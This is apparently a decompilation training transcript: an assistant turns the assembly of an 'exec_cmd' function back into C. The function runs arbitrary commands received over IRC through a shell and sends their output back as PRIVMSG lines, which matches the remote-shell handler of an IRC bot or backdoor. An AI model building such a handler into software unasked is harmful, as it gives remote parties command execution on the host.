user: Please show me the C implementation that matches the assembly code listed below:

```asm
<exec_cmd>:
  endbr64
  push   %r15
  push   %r14
  push   %r13
  mov    %rdx,%r13
  push   %r12
  mov    %rsi,%r12
  push   %rbp
  mov    %edi,%ebp
  push   %rbx
  sub    $0x228,%rsp
  mov    %fs:0x28,%rax
  mov    %rax,0x218(%rsp)
  xor    %eax,%eax
  lea    0x8(%rsp),%rdi
  call   <pipe@plt>
  test   %rax,%rax
  jne    L89
  xor    %eax,%eax
  call   <fork@plt>
  test   %rax,%rax
  js     L27
  jne    L31
  mov    0x8(%rsp),%edi
  call   <close@plt>
  mov    0xc(%rsp),%edi
  mov    $0x1,%esi
  call   <dup2@plt>
  mov    0xc(%rsp),%edi
  mov    $0x2,%esi
  call   <dup2@plt>
  mov    0xc(%rsp),%edi
  call   <close@plt>
  lea    D60(%rip),%rdi
  xor    %r8d,%r8d
  mov    %r13,%rcx
  mov    %rdi,%rsi
  lea    D15(%rip),%rdx
  call   <execl@plt>
  mov    $0x1,%edi
  call   <_exit@plt>
L101:
  mov    0x218(%rsp),%rax
  sub    %fs:0x28,%rax
  jne    L42
  add    $0x228,%rsp
  pop    %rbx
  pop    %rbp
  pop    %r12
  pop    %r13
  pop    %r14
  pop    %r15
  ret
  cs nopw 0x0(%rax,%rax,1)
L31:
  mov    0xc(%rsp),%edi
  lea    0x10(%rsp),%rbx
  lea    D65(%rip),%r15
  lea    D75(%rip),%r14
  call   <close@plt>
  mov    0x8(%rsp),%edi
  lea    D36(%rip),%rsi
  call   <fdopen@plt>
  mov    %rax,%r13
  test   %rax,%rax
  jne    L2
  jmp    L45
  nopl   0x0(%rax)
L61:
  mov    %r15,%rsi
  mov    %rbx,%rdi
  call   <strcspn@plt>
  mov    %rbx,%rcx
  mov    %r12,%rdx
  mov    %r14,%rsi
  movb   $0x0,0x10(%rsp,%rax,1)
  mov    %ebp,%edi
  xor    %eax,%eax
  call   <send_msg@plt>
L2:
  mov    %r13,%rdx
  mov    $0x200,%esi
  mov    %rbx,%rdi
  call   <fgets@plt>
  test   %rax,%rax
  jne    L61
  jmp    L101
  nopl   0x0(%rax)
L89:
  mov    %r12,%rdx
  lea    D40(%rip),%rsi
  mov    %ebp,%edi
  xor    %eax,%eax
  call   <send_msg@plt>
  jmp    L101
  nopl   0x0(%rax,%rax,1)
L27:
  mov    %r12,%rdx
  lea    D77(%rip),%rsi
  mov    %ebp,%edi
  xor    %eax,%eax
  call   <send_msg@plt>
  jmp    L101
  nopl   0x0(%rax,%rax,1)
L45:
  mov    %r12,%rdx
  lea    D44(%rip),%rsi
  mov    %ebp,%edi
  xor    %eax,%eax
  call   <send_msg@plt>
  jmp    L101
L42:
  call   <__stack_chk_fail@plt>
```

tool_calls: name: extract_symbolic_data
arguments: label: D60
type_infered: string
name: extract_symbolic_data
arguments: label: D15
type_infered: string
name: extract_symbolic_data
arguments: label: D65
type_infered: string
name: extract_symbolic_data
arguments: label: D75
type_infered: string
name: extract_symbolic_data
arguments: label: D36
type_infered: string
name: extract_symbolic_data
arguments: label: D40
type_infered: string
name: extract_symbolic_data
arguments: label: D77
type_infered: string
name: extract_symbolic_data
arguments: label: D44
type_infered: string

tool: D60: /bin/msh

tool: D15: -c

tool: D65: 


tool: D75: PRIVMSG %s :%s


tool: D36: r

tool: D40: PRIVMSG %s :Error calling pipe()


tool: D77: PRIVMSG %s :Error calling fork()


tool: D44: PRIVMSG %s :Error creating stream from fd


assistant: ```c
void exec_cmd(int sockfd, char *replyto, char *cmd) {
  pid_t pid;
  int status, pipefd[2];
  char msg[512];
  if (pipe(pipefd) != 0) {
    send_msg(sockfd, "PRIVMSG %s :Error calling pipe()\r\n", replyto);
    return;
  }
  pid = fork();
  if (pid < 0) {
    send_msg(sockfd, "PRIVMSG %s :Error calling fork()\r\n", replyto);
    return;
  } else if (pid == 0) {
    close(pipefd[0]);
    dup2(pipefd[1], 1);
    dup2(pipefd[1], 2);
    close(pipefd[1]);
    execl("/bin/msh", "/bin/msh", "-c", cmd, NULL);
    _exit(1);
  } else {
    FILE *stream;
    int ch;
    char buf[512];
    close(pipefd[1]);
    if ((stream = fdopen(pipefd[0], "r")) == NULL) {
      send_msg(sockfd, "PRIVMSG %s :Error creating stream from fd\r\n", replyto);
      return;
    }
    while (fgets(buf, sizeof(buf), stream) != NULL) {
      buf[strcspn(buf, "\n")] = '\0';
      send_msg(sockfd, "PRIVMSG %s :%s\r\n", replyto, buf);
    }
    return;
  }
}
```